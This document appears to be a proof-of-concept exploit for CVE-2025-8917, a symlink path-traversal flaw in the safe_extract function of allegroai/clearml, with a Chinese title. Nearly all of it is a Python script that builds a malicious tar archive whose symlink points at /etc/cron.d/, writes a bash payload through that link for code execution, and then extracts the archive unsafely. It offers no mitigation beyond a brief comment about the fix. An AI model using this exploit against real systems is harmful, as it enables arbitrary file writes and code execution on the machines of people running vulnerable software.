CVE-2025-8917 allegroai/clearml 路径遍历导致任意文件写入漏洞

#!/usr/bin/env python3 """ CVE-2025-8917 PoC - Path Traversal via Symbolic Links in safe_extract Target: allegroai/clearml v2.0.1 Vulnerability: Improper handling of symbolic/hard links in safe_extract function """ import tarfile import os import io def create_malicious_tar(output_path, target_path): """ Create a malicious tar archive that exploits the path traversal vulnerability by using a symbolic link pointing outside the extraction directory. """ with tarfile.open(output_path, 'w') as tar: # Step 1: Add a symbolic link pointing to a sensitive location symlink_info = tarfile.TarInfo(name='evil_link') symlink_info.type = tarfile.SYMTYPE symlink_info.linkname = target_path tar.addfile(symlink_info) # Step 2: Add a file through the symbolic link # This file will be written to target_path instead of the extraction dir content = b"#!/bin/bash\nid > /tmp/pwned\n" file_info = tarfile.TarInfo(name='evil_link/payload.sh') file_info.size = len(content) tar.addfile(file_info, io.BytesIO(content)) def exploit(target_path="/tmp/clearml_exploit"): """ Main exploit function: 1. Create malicious tar archive 2. Simulate safe_extract call (vulnerable version) 3. Demonstrate arbitrary file write """ os.makedirs(target_path, exist_ok=True) tar_path = os.path.join(target_path, "malicious.tar") # Create malicious archive targeting /etc/cron.d/ for RCE create_malicious_tar(tar_path, "/etc/cron.d/") print(f"[+] Malicious tar created at: {tar_path}") print(f"[+] When extracted via vulnerable safe_extract(),") print(f" payload.sh will be written to /etc/cron.d/payload.sh") print(f"[+] This achieves arbitrary file write outside extraction dir") # Simulate the vulnerable extraction extract_dir = os.path.join(target_path, "extracted") os.makedirs(extract_dir, exist_ok=True) with tarfile.open(tar_path, 'r') as tar: # VULNERABLE: safe_extract does not validate symlink targets # In the fixed version, this would check that link targets # are within the extraction directory tar.extractall(path=extract_dir) print(f"[+] Extraction complete. Check {extract_dir} and target paths.") if __name__ == "__main__": exploit()